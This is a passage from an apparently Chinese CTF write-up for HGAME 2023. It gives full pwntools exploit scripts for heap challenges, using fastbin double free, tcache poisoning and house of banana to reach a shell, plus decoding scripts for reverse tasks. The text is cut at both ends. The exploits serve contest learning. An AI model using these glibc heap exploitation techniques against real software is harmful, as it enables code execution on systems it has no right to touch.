class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-2.hgame.lwsec.cn&#x27;</span>,<span class="number">31808</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size,content</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x90</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x3c4b78</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">malloc_hook = libcbase + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(malloc_hook))</span><br><span class="line">realloc = libcbase + libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line">one_gadget = [<span class="number">0x45226</span>, <span class="number">0x4527a</span>, <span class="number">0xf03a4</span>, <span class="number">0xf1247</span>]</span><br><span class="line"></span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">1</span>)          <span class="comment">#double free</span></span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x60</span>,p64(malloc_hook-<span class="number">0x23</span>))</span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">add(<span class="number">6</span>,<span class="number">0x60</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">11</span>+p64(libcbase+one_gadget[<span class="number">3</span>])+p64(realloc+<span class="number">11</span>))</span><br><span class="line"></span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;7&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0x60</span>).encode())</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="new-fast-note"><a href="#new-fast-note" class="headerlink" title="new_fast_note"></a>new_fast_note</h4><p><code>checksec</code>看到保护全开，这道题和上道题相比就是换了个高版本的libc。</p><p>思路和上道题一样，甚至不需要realloc函数调整栈帧（我竟然不知道已经分配过内存的index可以再分配，在这里浪费了贼多时间</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-2.hgame.lwsec.cn&#x27;</span>,<span class="number">31722</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size,content</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">    add(i,<span class="number">0x90</span>,<span class="string">b&#x27;A&#x27;</span>)       <span class="comment">#0 1 2 3 4 5 6 7</span></span><br><span class="line">add(<span class="number">19</span>, <span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>)     <span class="comment">#19  避免unsorted bin和top chunk合并</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">    delete(i)</span><br><span class="line">add(<span class="number">18</span>, <span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>)      <span class="comment">#为fastbin double free作准备</span></span><br><span class="line">show(<span class="number">7</span>)</span><br><span class="line"></span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x1ecc41</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">malloc_hook = libcbase + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(malloc_hook))</span><br><span class="line">realloc = libcbase + libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>, <span class="number">16</span>):</span><br><span class="line">    add(i,<span class="number">0x60</span>,<span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>, <span class="number">16</span>):</span><br><span class="line">    delete(i)</span><br><span class="line"></span><br><span class="line">target = malloc_hook - <span class="number">0x23</span></span><br><span class="line">one_gadget = [<span class="number">0xe3afe</span>, <span class="number">0xe3b01</span>, <span class="number">0xe3b04</span>]</span><br><span class="line"></span><br><span class="line">delete(<span class="number">7</span>)</span><br><span class="line">delete(<span class="number">15</span>)          <span class="comment">#15为double free块</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    add(i, <span class="number">0x60</span>, <span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">7</span>, <span class="number">0x60</span>, p64(target))</span><br><span class="line">add(<span class="number">8</span>, <span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line">add(<span class="number">10</span>, <span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x23</span>+p64(libcbase+one_gadget[<span class="number">1</span>]))</span><br><span class="line"><span class="comment">#add(11, 0x60, b&#x27;A&#x27;)</span></span><br><span class="line"></span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">1</span>).encode())</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0x60</span>).encode())</span><br><span class="line"><span class="comment">#print(hex(malloc_hook))</span></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="reverse-1"><a href="#reverse-1" class="headerlink" title="reverse"></a>reverse</h3><h4 id="before-main"><a href="#before-main" class="headerlink" title="before_main"></a>before_main</h4><p>一个变表base64，这个表会在<code>main</code>函数执行之前被复制到对应位置，对应<code>__init_array</code>里面的函数指针<code>sub_1229</code></p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">str1 = <span class="string">&quot;AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#string1 = &quot;0CxWsOemvJq4zdk2V6QlArj9mnHbt1NfEX/+3DhyPoBRLY8pK5FciZau7UMIgTSG&quot;</span></span><br><span class="line">string1 = <span class="string">&quot;qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK&quot;</span></span><br><span class="line">string2 = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(base64.b64decode(str1.translate(<span class="built_in">str</span>.maketrans(string1,string2))))</span><br></pre></td></tr></table></figure></div><h4 id="stream"><a href="#stream" class="headerlink" title="stream"></a>stream</h4><p>给了一个exe程序，很明显是pyinstaller打包的，直接百度python exe反编译，然后出来一大堆教程</p><p>最后得到程序源码，写出解密程序即可</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gen</span>(<span class="params">key</span>):</span><br><span class="line">    s = <span class="built_in">list</span>(<span class="built_in">range</span>(<span class="number">256</span>))</span><br><span class="line">    j = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">        j = (j + s[i] + <span class="built_in">ord</span>(key[i % <span class="built_in">len</span>(key)])) % <span class="number">256</span></span><br><span class="line">        tmp = s[i]</span><br><span class="line">        s[i] = s[j]</span><br><span class="line">        s[j] = tmp</span><br><span class="line">    i = j = <span class="number">0</span></span><br><span class="line">    data = []</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">50</span>):</span><br><span class="line">        i = (i + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">        j = (j + s[i]) % <span class="number">256</span></span><br><span class="line">        tmp = s[i]</span><br><span class="line">        s[i] = s[j]</span><br><span class="line">        s[j] = tmp</span><br><span class="line">        data.append(s[(s[i] + s[j]) % <span class="number">256</span>])</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">enc, key</span>):</span><br><span class="line">    text = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    enc = base64.b64decode(enc.encode()).decode()</span><br><span class="line">    <span class="keyword">for</span> c, k <span class="keyword">in</span> <span class="built_in">zip</span>(enc, gen(key)):</span><br><span class="line">        text += <span class="built_in">chr</span>(<span class="built_in">ord</span>(c) ^ k)</span><br><span class="line">    <span class="keyword">return</span> text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">enc = <span class="string">&#x27;wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl&#x27;</span></span><br><span class="line">key = <span class="string">&#x27;As_we_do_as_you_know&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(decrypt(enc, key))</span><br></pre></td></tr></table></figure></div><h2 id="week3"><a href="#week3" class="headerlink" title="week3"></a>week3</h2><h3 id="pwn-2"><a href="#pwn-2" class="headerlink" title="pwn"></a>pwn</h3><p>三道题都是现学的，后两道因为不太会<code>largebin attack</code>（低版本都没接触过），所以找了点模板，都套了<code>house of banana</code>的模板，竟然直接秒了。(模板来自winmt师傅在看雪写的堆利用文章，tql)</p><h4 id="safe-note"><a href="#safe-note" class="headerlink" title="safe_note"></a>safe_note</h4><p>保护全开，并且<code>libc-2.32.so</code></p><p>在这个版本中，<code>tcache bin</code>的<code>fd</code>位置会放置<code>(pos&gt;&gt;12)^next</code>计算得到的值。当对应链表中只有一个堆块时，也就是其<code>next</code>为<code>0</code>。因此我们可以直接<code>fd&lt;&lt;12</code>得到就是堆的基地址。因此我们可以计算<code>(pos&gt;&gt;12)^target</code>，从而放入<code>fd</code>位置，再申请即可得到<code>target</code>位置。</p><p>本题很明显就是要利用UAF绕过<code>tcache</code>新增的<code>safe unlink</code>机制。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#tcache safe unlink</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">30767</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc/libc-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    add(i, <span class="number">0x90</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x60</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    delete(i)</span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">edit(<span class="number">8</span>, <span class="string">b&#x27;\x0a&#x27;</span>)</span><br><span class="line">show(<span class="number">8</span>)</span><br><span class="line"><span class="comment">#edit(8, b&#x27;\x00&#x27;)</span></span><br><span class="line"></span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0xa</span>-<span class="number">0x1e3c00</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">__free_hook = libcbase + libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__free_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(__free_hook))</span><br><span class="line"></span><br><span class="line">one_gadget = [<span class="number">0xdf54c</span>, <span class="number">0xdf54f</span>, <span class="number">0xdf552</span>]</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">pos = u64(io.recv(<span class="number">5</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">fd = __free_hook ^ pos</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;pos ===&gt; &#x27;</span>+<span class="built_in">hex</span>(pos))</span><br><span class="line"></span><br><span class="line">edit(<span class="number">6</span>, p64(fd))</span><br><span class="line">add(<span class="number">10</span>, <span class="number">0x90</span>)</span><br><span class="line">add(<span class="number">11</span>, <span class="number">0x90</span>)</span><br><span class="line">edit(<span class="number">11</span>, p64(libcbase+one_gadget[<span class="number">1</span>]))</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="large-note"><a href="#large-note" class="headerlink" title="large_note"></a>large_note</h4><p>保护全开，<code>libc-2.32.so</code>，只能申请<code>largebin</code>范围内的<code>chunk</code>，存在UAF漏洞</p><p>找了点资料，发现<code>largebin attack</code>在该版本可以在任意地址写入一个堆地址，也就是大数值。貌似可以修改<code>global_max_fast</code>，但是我找不到<code>global_max_fast</code>在哪（太菜了）。因此又转向了<code>house of banana</code>，正好有模板，稍微改下直接用。</p><p><code>house of banana</code>是利用<code>exit</code>函数调用链触发的一种利用方式，调用链：<code>exit()-&gt;_dl_fini-&gt;(fini_t)array[i]</code>，利用起来十分方便，只要我们能通过<code>largebin attack</code>等方式劫持<code>_rtld_global</code>首地址<code>_ns_loaded</code>到我们的可控区域，就可以对<code>link_map</code>进行伪造，从而进行一系列调用。</p><p>大概流程就是<code>largebin attack</code>劫持<code>_rtld_global</code>首项指针为可控堆块地址，直接伪造<code>link_map</code>实现<code>house of banana</code>从而getshell</p><p><code>house of banana</code>模板：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">fake_link_map_addr = heap_base + <span class="number">0x6c0</span></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x420</span> + p64(fake_link_map_addr + <span class="number">0x20</span>)) <span class="comment"># l_addr</span></span><br><span class="line">payload = 